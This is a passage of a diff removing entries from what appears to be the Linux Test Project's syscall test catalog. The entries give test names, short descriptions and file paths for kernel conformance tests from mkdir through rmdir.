-		ltp/testcases/kernel/syscalls/mkdir/mkdir05.c
-	<\test_location>
-<\testname>
-<testname=mkdir08>
-	<description>
-		Basic test for mkdir(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mkdir/mkdir08.c
-	<\test_location>
-<\testname>
-<testname=mknod01>
-	<description>
-		Basic test for mknod(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mknod/mknod01.c
-	<\test_location>
-<\testname>
-<testname=mknod02>
-	<description>
-		Verify that mknod(2) succeeds when used to create a filesystem
-		node with set group-ID bit set on a directory without set group-ID bit set.
-		The node created should have set group-ID bit set and its gid should be
-		equal to that of its parent directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mknod/mknod02.c
-	<\test_location>
-<\testname>
-<testname=mknod03>
-	<description>
-		Verify that mknod(2) succeeds when used to create a filesystem
-		node with set group-ID bit set on a directory with set group-ID bit set.
-		The node created should have set group-ID bit set and its gid should be
-		equal to the effective gid of the process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mknod/mknod03.c
-	<\test_location>
-<\testname>
-<testname=mknod04>
-	<description>
-		Verify that mknod(2) succeeds when used to create a filesystem
-		node on a directory with set group-ID bit set.
-		The node created should not have group-ID bit set and its gid should be
-		equal to the effective gid of the process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mknod/mknod04.c
-	<\test_location>
-<\testname>
-<testname=mknod05>
-	<description>
-		Verify that mknod(2) succeeds when used by root to create a filesystem
-		node with set group-ID bit set on a directory with set group-ID bit set.
-		The node created should have set group-ID bit set and its gid should be
-		equal to that of its parent directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mknod/mknod05.c
-	<\test_location>
-<\testname>
-<testname=mknod06>
-	<description>
-		Verify that,
-		1) mknod(2) returns -1 and sets errno to EEXIST if specified path
-		already exists.
-		2) mknod(2) returns -1 and sets errno to EFAULT if pathname points
-		outside user's accessible address space.
-		3) mknod(2) returns -1 and sets errno to ENOENT if the directory
-		component in pathname does not exist.
-		4) mknod(2) returns -1 and sets errno to ENAMETOOLONG if the pathname
-		component was too long.
-		5) mknod(2) returns -1 and sets errno to ENOTDIR if the directory
-		component in pathname is not a directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mknod/mknod06.c
-	<\test_location>
-<\testname>
-<testname=mknod07>
-	<description>
-		Verify that,
-		1) mknod(2) returns -1 and sets errno to EPERM if the process id of
-		the caller is not super-user.
-		2) mknod(2) returns -1 and sets errno to EACCES if parent directory
-		does not allow write permission to the process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mknod/mknod07.c
-	<\test_location>
-<\testname>
-<testname=mknod08>
-	<description>
-		Verify that mknod(2) succeeds when used to create a filesystem
-		node on a directory without set group-ID bit set. The node created
-		should not have set group-ID bit set and its gid should be equal to that
-		of its parent directory.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mknod/mknod08.c
-	<\test_location>
-<\testname>
-<testname=mlock01>
-	<description>
-		Test basic functionality of mlock().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mlock/mlock01.c
-	<\test_location>
-<\testname>
-<testname=mlock02>
-	<description>
-		Test to see the proper errors are returned by mlock().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mlock/mlock02.c
-	<\test_location>
-<\testname>
-<testname=mlockall01>
-	<description>
-		Test basic functionality of mlockall().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mlockall/mlockall01.c
-	<\test_location>
-<\testname>
-<testname=mlockall02>
-	<description>
-		Test to see the proper errors are returned by mlockall().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mlockall/mlockall02.c
-	<\test_location>
-<\testname>
-<testname=mmap001>
-	<description>
-		Tests mmapping a big file and writing it once
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap001.c
-	<\test_location>
-<\testname>
-<testname=mmap01>
-	<description>
-		Verify that, mmap() succeeds when used to map a file where size of the
-		file is not a multiple of the page size, the memory area beyond the end
-		of the file to the end of the page is accessible. Also, verify that
-		this area is all zeroed and the modifications done to this area are
-		not written to the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap01.c
-	<\test_location>
-<\testname>
-<testname=mmap02>
-	<description>
-		Call mmap() with prot parameter set to PROT_READ and with the file
-		descriptor being open for read, to map a file creating mapped memory
-		with read access. The minimum file permissions should be 0444.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap02.c
-	<\test_location>
-<\testname>
-<testname=mmap03>
-	<description>
-		Call mmap() to map a file creating a mapped region with execute access
-		under the following conditions -
-		- The prot parameter is set to PROT_EXE
-		- The file descriptor is open for read
-		- The file being mapped has execute permission bit set.
-		- The minimum file permissions should be 0555.
-
-		The call should succeed to map the file creating mapped memory with the
-		required attributes.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap03.c
-	<\test_location>
-<\testname>
-<testname=mmap04>
-	<description>
-		Call mmap() to map a file creating a mapped region with read/exec access
-		under the following conditions -
-		- The prot parameter is set to PROT_READ|PROT_EXEC
-		- The file descriptor is open for read
-		- The file being mapped has read and execute permission bit set.
-		- The minimum file permissions should be 0555.
-
-		The call should succeed to map the file creating mapped memory with the
-		required attributes.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap04.c
-	<\test_location>
-<\testname>
-<testname=mmap05>
-	<description>
-		Call mmap() to map a file creating mapped memory with no access under
-		the following conditions -
-		- The prot parameter is set to PROT_NONE
-		- The file descriptor is open for read(any mode other than write)
-		- The minimum file permissions should be 0444.
-
-		The call should succeed to map the file creating mapped memory with the
-		required attributes.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap05.c
-	<\test_location>
-<\testname>
-<testname=mmap06>
-	<description>
-		Call mmap() to map a file creating a mapped region with read access
-		under the following conditions -
-		- The prot parameter is set to PROT_READ
-		- The file descriptor is open for writing.
-
-		The call should fail to map the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap06.c
-	<\test_location>
-<\testname>
-<testname=mmap07>
-	<description>
-		Call mmap() to map a file creating a mapped region with read access
-		under the following conditions -
-		- The prot parameter is set to PROT_WRITE
-		- The file descriptor is open for writing.
-		- The flags parameter has MAP_PRIVATE set.
-
-		The call should fail to map the file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap07.c
-	<\test_location>
-<\testname>
-<testname=mmap08>
-	<description>
-		Verify that mmap() fails to map a file creating a mapped region
-		when the file specified by file descriptor is not valid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap08.c
-	<\test_location>
-<\testname>
-<testname=mmap09>
-	<description>
-		Verify that truncating a mmaped file works correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mmap/mmap09.c
-	<\test_location>
-<\testname>
-<testname=modify_ldt01>
-	<description>
-		Testcase to check the error conditions for modify_ldt(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/modify_ldt/modify_ldt01.c
-	<\test_location>
-<\testname>
-<testname=modify_ldt02>
-	<description>
-		Testcase to check the error conditions for modify_ldt(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/modify_ldt/modify_ldt02.c
-	<\test_location>
-<\testname>
-<testname=mount01>
-	<description>
-		Basic test for mount(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mount/mount01.c
-	<\test_location>
-<\testname>
-<testname=mount02>
-	<description>
-		Test for checking basic error conditions for mount(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mount/mount02.c
-	<\test_location>
-<\testname>
-<testname=mount03>
-	<description>
-		Test for checking mount(2) flags
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mount/mount03.c
-	<\test_location>
-<\testname>
-<testname=mount04>
-	<description>
-		Test for checking EPERM
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mount/mount04.c
-	<\test_location>
-<\testname>
-<testname=mprotect01>
-	<description>
-		Testcase to check the error conditions for mprotect(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mprotect/mprotect01.c
-	<\test_location>
-<\testname>
-<testname=mprotect02>
-	<description>
-		Testcase to check the mprotect(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mprotect/mprotect02.c
-	<\test_location>
-<\testname>
-<testname=mprotect03>
-	<description>
-		Testcase to check the mprotect(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mprotect/mprotect03.c
-	<\test_location>
-<\testname>
-<testname=mremap01>
-	<description>
-		Verify that, mremap() succeeds when used to expand the existing
-		virtual memory mapped region to the requested size where the
-		virtual memory area was previously mapped to a file using mmap().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mremap/mremap01.c
-	<\test_location>
-<\testname>
-<testname=mremap02>
-	<description>
-		Verify that,
-		mremap() fails when used to expand the existing virtual memory mapped
-		region to the requested size, if the virtual memory area previously
-		mapped was not page aligned or invalid argument specified.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mremap/mremap02.c
-	<\test_location>
-<\testname>
-<testname=mremap03>
-	<description>
-		Verify that,
-		mremap() fails when used to expand the existing virtual memory mapped
-		region to the requested size, if there already exists mappings that
-		cover the whole address space requsted or the old address specified was
-		not mapped.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mremap/mremap03.c
-	<\test_location>
-<\testname>
-<testname=mremap04>
-	<description>
-		Verify that,
-		mremap() fails when used to expand the existing virtual memory mapped
-		region to the requested size, if the memory area cannot be expanded at
-		the current virtual address and MREMAP_MAYMOVE flag not set.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/mremap/mremap04.c
-	<\test_location>
-<\testname>
-<testname=msync01>
-	<description>
-		Verify that, msync() succeeds, when the region to synchronize, is part
-		of, or all of a mapped region.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/msync/msync01.c
-	<\test_location>
-<\testname>
-<testname=msync02>
-	<description>
-		Verify that msync() succeeds when the region to synchronize is mapped
-		shared and the flags argument is MS_INVALIDATE.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/msync/msync02.c
-	<\test_location>
-<\testname>
-<testname=msync03>
-	<description>
-		Verify that, msync() fails, when the region to synchronize, is outside
-		the address space of the process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/msync/msync03.c
-	<\test_location>
-<\testname>
-<testname=msync04>
-	<description>
-		Verify that, msync() fails, when the region to synchronize, is mapped
-		but the flags argument is invalid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/msync/msync04.c
-	<\test_location>
-<\testname>
-<testname=msync05>
-	<description>
-		Verify that, msync() fails, when the region to synchronize, was not
-		mapped.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/msync/msync05.c
-	<\test_location>
-<\testname>
-<testname=munmap01>
-	<description>
-		Verify that, munmap call will succeed to unmap a mapped file or
-		anonymous shared memory region from the calling process's address space
-		and after successful completion of munmap, the unmapped region is no
-		longer accessible.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/munmap/munmap01.c
-	<\test_location>
-<\testname>
-<testname=munmap02>
-	<description>
-		Verify that, munmap call will succeed to unmap a mapped file or
-		anonymous shared memory region from the calling process's address space
-		if the region specified by the address and the length is part or all of
-		the mapped region.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/munmap/munmap02.c
-	<\test_location>
-<\testname>
-<testname=munmap03>
-	<description>
-		Verify that, munmap call will fail to unmap a mapped file or anonymous
-		shared memory region from the calling process's address space if the
-		address and the length of the region to be unmapped points outside the
-		calling process's address space
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/munmap/munmap03.c
-	<\test_location>
-<\testname>
-<testname=nanosleep01>
-	<description>
-		Verify that nanosleep() will be successful to suspend the execution
-		of a process for a specified time.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nanosleep/nanosleep01.c
-	<\test_location>
-<\testname>
-<testname=nanosleep02>
-	<description>
-		Verify that nanosleep() will be successful to suspend the execution
-		of a process, returns after the receipt of a signal and writes the
-		remaining sleep time into the structure.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nanosleep/nanosleep02.c
-	<\test_location>
-<\testname>
-<testname=nanosleep03>
-	<description>
-		Verify that nanosleep() will fail to suspend the execution
-		of a process for a specified time if interrupted by a non-blocked signal.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nanosleep/nanosleep03.c
-	<\test_location>
-<\testname>
-<testname=nanosleep04>
-	<description>
-		Verify that nanosleep() will fail to suspend the execution
-		of a process if the specified pause time is invalid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nanosleep/nanosleep04.c
-	<\test_location>
-<\testname>
-<testname=nftw>
-	<description>
-		Basic test of nftw().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nftw/nftw.c
-	<\test_location>
-<\testname>
-<testname=nftw64>
-	<description>
-		Basic test of nftw64()
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nftw/nftw64.c
-	<\test_location>
-<\testname>
-<testname=nice01>
-	<description>
-		Verify that root can provide a negative value to nice()
-		and hence root can decrease the nice value of the process
-		using nice() system call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nice/nice01.c
-	<\test_location>
-<\testname>
-<testname=nice02>
-	<description>
-		Verify that any user can successfully increase the nice value of
-		the process by passing a higher increment value (> max. applicable limits)
-		to nice() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nice/nice02.c
-	<\test_location>
-<\testname>
-<testname=nice03>
-	<description>
-		Verify that any user can successfully increase the nice value of
-		the process by passing an increment value (< max. applicable limits) to
-		nice() system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nice/nice03.c
-	<\test_location>
-<\testname>
-<testname=nice04>
-	<description>
-		Verify that, nice(2) fails when, a non-root user attempts to increase
-		the priority of a process by specifying a negative increment value.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nice/nice04.c
-	<\test_location>
-<\testname>
-<testname=nice05>
-	<description>
-		Basic test for nice(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/nice/nice05.c
-	<\test_location>
-<\testname>
-<testname=open01>
-	<description>
-		Open a file with oflag = O_CREAT set, does it set the sticky bit off?
-
-		Open "/tmp" with O_DIRECTORY, does it set the S_IFDIR bit on?
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open01.c
-	<\test_location>
-<\testname>
-<testname=open02>
-	<description>
-		Test if open without O_CREAT returns -1 if a file does not exist.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open02.c
-	<\test_location>
-<\testname>
-<testname=open03>
-	<description>
-		Basic test for open(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open03.c
-	<\test_location>
-<\testname>
-<testname=open04>
-	<description>
-		Testcase to check that open(2) sets EMFILE if a process opens files
-		more than its descriptor size
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open04.c
-	<\test_location>
-<\testname>
-<testname=open05>
-	<description>
-		Testcase to check open(2) sets errno to EACCES correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open05.c
-	<\test_location>
-<\testname>
-<testname=open06>
-	<description>
-		Testcase to check open(2) sets errno to ENXIO correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open06.c
-	<\test_location>
-<\testname>
-<testname=open07>
-	<description>
-		Test the open(2) system call to ensure that it sets ELOOP correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open07.c
-	<\test_location>
-<\testname>
-<testname=open08>
-	<description>
-		Check for the following errors:
-		1. EEXIST
-		2. EISDIR
-		3. ENOTDIR
-		4. ENAMETOOLONG
-		5. EFAULT
-		6. ETXTBSY
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open08.c
-	<\test_location>
-<\testname>
-<testname=open09>
-	<description>
-		Does a read on a file opened with oflag set to O_WRONLY and checks for -1 return.
-		Does a write on a file opened with oflag set to O_RDONLY and checks for -1 return.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open09.c
-	<\test_location>
-<\testname>
-<testname=open10>
-	<description>
-		Verifies that the group ID and setgid bit are set correctly when a new file
-		is created using open.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/open/open10.c
-	<\test_location>
-<\testname>
-<testname=pathconf01>
-	<description>
-		Basic test for pathconf(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pathconf/pathconf01.c
-	<\test_location>
-<\testname>
-<testname=pause01>
-	<description>
-		Basic test for pause(2)
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pause/pause01.c
-	<\test_location>
-<\testname>
-<testname=pause02>
-	<description>
-		Verify that, pause() returns -1 and sets errno to EINTR after receipt
-		of a signal which is caught by the calling process. Also, verify that
-		the calling process will resume execution from the point of suspension.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pause/pause02.c
-	<\test_location>
-<\testname>
-<testname=pause03>
-	<description>
-		Verify that a process is no longer accessible on receipt of SIGKILL
-		signal after being suspended by pause().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pause/pause03.c
-	<\test_location>
-<\testname>
-<testname=personality01>
-	<description>
-		Check that we can set the personality for a process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/personality/personality01.c
-	<\test_location>
-<\testname>
-<testname=personality02>
-	<description>
-		Check that we get EINVAL for a bad personality.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/personality/personality02.c
-	<\test_location>
-<\testname>
-<testname=pipe01>
-	<description>
-		Testcase to check the basic functionality of the pipe(2) syscall:
-		Check that both ends of the pipe (both file descriptors) are
-		available to a process opening the pipe.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pipe/pipe01.c
-	<\test_location>
-<\testname>
-<testname=pipe05>
-	<description>
-		Check what happens when pipe is passed a bad file descriptor.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pipe/pipe05.c
-	<\test_location>
-<\testname>
-<testname=pipe06>
-	<description>
-		Check what happens when the system runs out of pipes.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pipe/pipe06.c
-	<\test_location>
-<\testname>
-<testname=pipe08>
-	<description>
-		Check that a SIGPIPE signal is generated when a write is
-		attempted on an empty pipe.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pipe/pipe08.c
-	<\test_location>
-<\testname>
-<testname=pipe09>
-	<description>
-		Check that two processes can use the same pipe at the same time.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pipe/pipe09.c
-	<\test_location>
-<\testname>
-<testname=pipe10>
-	<description>
-		Check that parent can open a pipe and have a child read from it
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pipe/pipe10.c
-	<\test_location>
-<\testname>
-<testname=pipe11>
-	<description>
-		Check if many children can read what is written to a pipe by the
-		parent.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pipe/pipe11.c
-	<\test_location>
-<\testname>
-<testname=poll01>
-	<description>
-		Verify that valid open file descriptor must be provided to poll() to
-		succeed.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/poll/poll01.c
-	<\test_location>
-<\testname>
-<testname=prctl01>
-	<description>
-		Basic test of prctl().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/prctl/prctl01.c
-	<\test_location>
-<\testname>
-<testname=prctl02>
-	<description>
-		Test of error conditions for prctl().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/prctl/prctl02.c
-	<\test_location>
-<\testname>
-<testname=pread01>
-	<description>
-		Verify the functionality of pread() by writing known data using pwrite()
-		to the file at various specified offsets and later read from the file from
-		various specified offsets, comparing the data read aganist the data
-		written.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pread/pread01.c
-	<\test_location>
-<\testname>
-<testname=pread02>
-	<description>
-		Verify that,
-		1) pread() fails when attempted to read from an unnamed pipe.
-		2) pread() fails if the specified offset position was invalid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pread/pread02.c
-	<\test_location>
-<\testname>
-<testname=profil01>
-	<description>
-		Basic test of profil().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/profil/profil01.c
-	<\test_location>
-<\testname>
-<testname=ptrace01>
-	<description>
-		Functionality test for ptrace(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ptrace/ptrace01.c
-	<\test_location>
-<\testname>
-<testname=ptrace02>
-	<description>
-		Functionality test for ptrace(2).
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/ptrace/ptrace02.c
-	<\test_location>
-<\testname>
-<testname=ptrace3>
-	<description>
-		Tests for error conditions.
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=pwrite01>
-	<description>
-		Verify the functionality of pwrite() by writing known data using pwrite()
-		to the file at various specified offsets and later read from the file from
-		various specified offsets, comparing the data written aganist the data
-		read using read().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pwrite/pwrite01.c
-	<\test_location>
-<\testname>
-<testname=pwrite02>
-	<description>
-		Verify that,
-		1) pwrite() fails when attempted to write to an unnamed pipe.
-		2) pwrite() fails if the specified offset position was invalid.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/pwrite/pwrite02.c
-	<\test_location>
-<\testname>
-<testname=read01>
-	<description>
-		Basic test for the read(2) system call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/read/read01.c
-	<\test_location>
-<\testname>
-<testname=read02>
-	<description>
-		test 1:
-		Does read return -1 if file descriptor is not valid, check for EBADF
-
-		test 2:
-		Check if read sets EISDIR, if the fd refers to a directory
-
-		test 3:
-		Check if read sets EFAULT, if buf is -1.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/read/read02.c
-	<\test_location>
-<\testname>
-<testname=read03>
-	<description>
-		Testcase to check that read() sets errno to EAGAIN
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/read/read03.c
-	<\test_location>
-<\testname>
-<testname=read04>
-	<description>
-		Testcase to check if read returns the number of bytes read correctly.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/read/read04.c
-	<\test_location>
-<\testname>
-<testname=readdir01>
-	<description>
-		Write multiple files and try to find them with readdir().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/readdir/readdir01.c
-	<\test_location>
-<\testname>
-<testname=readdir02>
-	<description>
-		Try to readdir with invalid directory stream descriptor dir.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/readdir/readdir02.c
-	<\test_location>
-<\testname>
-<testname=readlink01>
-	<description>
-		Verify that, readlink will succeed to read the contents of the symbolic
-		link created the process.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/readlink/readlink01.c
-	<\test_location>
-<\testname>
-<testname=readlink02>
-	<description>
-		Basic test for the readlink(2) system call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/readlink/readlink02.c
-	<\test_location>
-<\testname>
-<testname=readlink03>
-	<description>
-		Verify that,
-		1) readlink(2) returns -1 and sets errno to EACCES if search/write
-		permission is denied in the directory where the symbolic link
-		resides.
-		2) readlink(2) returns -1 and sets errno to EINVAL if the buffer size
-		is not positive.
-		3) readlink(2) returns -1 and sets errno to EINVAL if the specified
-		file is not a symbolic link file.
-		4) readlink(2) returns -1 and sets errno to ENAMETOOLONG if the
-		pathname component of symbolic link is too long (ie, > PATH_MAX).
-		5) readlink(2) returns -1 and sets errno to ENOENT if the component of
-		symbolic link points to an empty string.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/readlink/readlink03.c
-	<\test_location>
-<\testname>
-<testname=readlink04>
-	<description>
-		Verify that, readlink call will succeed to read the contents of the
-		symbolic link if invoked by non-root user who is not the owner of the
-		symbolic link.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/readlink/readlink04.c
-	<\test_location>
-<\testname>
-<testname=readv01>
-	<description>
-		Testcase to check the basic functionality of the readv(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/readv/readv01.c
-	<\test_location>
-<\testname>
-<testname=readv02>
-	<description>
-		Testcase to check the error conditions of the readv(2) system call.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/readv/readv02.c
-	<\test_location>
-<\testname>
-<testname=reboot01>
-	<description>
-		Test basic functionality of reboot().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/reboot/reboot01.c
-	<\test_location>
-<\testname>
-<testname=reboot02>
-	<description>
-		Test error conditions of reboot().
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/reboot/reboot02.c
-	<\test_location>
-<\testname>
-<testname=recv01>
-	<description>
-		Verify that recv() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/recv/recv01.c
-	<\test_location>
-<\testname>
-<testname=recvfrom01>
-	<description>
-		Verify that recvfrom() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/recvfrom/recvfrom01.c
-	<\test_location>
-<\testname>
-<testname=recvmsg01>
-	<description>
-		Verify that recvmsg() returns the proper errno for various failure cases
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/recvmsg/recvmsg01.c
-	<\test_location>
-<\testname>
-<testname=rename01>
-	<description>
-		This test will verify the rename(2) syscall basic functionality.
-		Verify rename() works when the "new" file or directory does not exist.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename01.c
-	<\test_location>
-<\testname>
-<testname=rename02>
-	<description>
-		Basic test for the rename(2) system call
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename02.c
-	<\test_location>
-<\testname>
-<testname=rename03>
-	<description>
-		This test will verify that rename(2) functions correctly
-		when the "new" file or directory exists
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename03.c
-	<\test_location>
-<\testname>
-<testname=rename04>
-	<description>
-		This test will verify that rename(2) failed when newpath is
-		a non-empty directory and return EEXIST or ENOTEMPTY
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename04.c
-	<\test_location>
-<\testname>
-<testname=rename05>
-	<description>
-		This test will verify that rename(2) fails with EISDIR
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename05.c
-	<\test_location>
-<\testname>
-<testname=rename06>
-	<description>
-		This test will verify that rename(2) failed in EINVAL
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename06.c
-	<\test_location>
-<\testname>
-<testname=rename07>
-	<description>
-		This test will verify that rename(2) failed in ENOTDIR
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename07.c
-	<\test_location>
-<\testname>
-<testname=rename08>
-	<description>
-		This test will verify that rename(2) syscall failed in EFAULT
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename08.c
-	<\test_location>
-<\testname>
-<testname=rename09>
-	<description>
-		check rename() fails with EACCES
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename09.c
-	<\test_location>
-<\testname>
-<testname=rename10>
-	<description>
-		This test will verify that rename(2) syscall fails with ENAMETOOLONG
-		and ENOENT
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename10.c
-	<\test_location>
-<\testname>
-<testname=rename11>
-	<description>
-		This test will verify that rename(2) failed in EBUSY
-
-	<\description>
-	<test_location>
-	<\test_location>
-<\testname>
-<testname=rename12>
-	<description>
-		check rename() fails with EPERM
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename12.c
-	<\test_location>
-<\testname>
-<testname=rename13>
-	<description>
-		Verify rename() return successfully and performs no other action
-		when "old" file and "new" file link to the same file.
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rename/rename13.c
-	<\test_location>
-<\testname>
-<testname=rmdir01>
-	<description>
-		This test will verify that rmdir(2) syscall basic functionality.
-		verify rmdir(2) returns a value of 0 and the directory being
-		removed
-
-	<\description>
-	<test_location>
-		ltp/testcases/kernel/syscalls/rmdir/rmdir01.c
-	<\test_location>
-<\testname>
-<testname=rmdir02>
-	<description>
-		This test will verify that rmdir(2) fail in
-		1. ENOTEMPTY
-		2. EBUSY
-		3. ENAMETOOLONG
-		4. ENOENT
-		5. ENOTDIR
-		6. EFAULT
-		7. EFAULT
-
-	<\description>
-	<test_location>
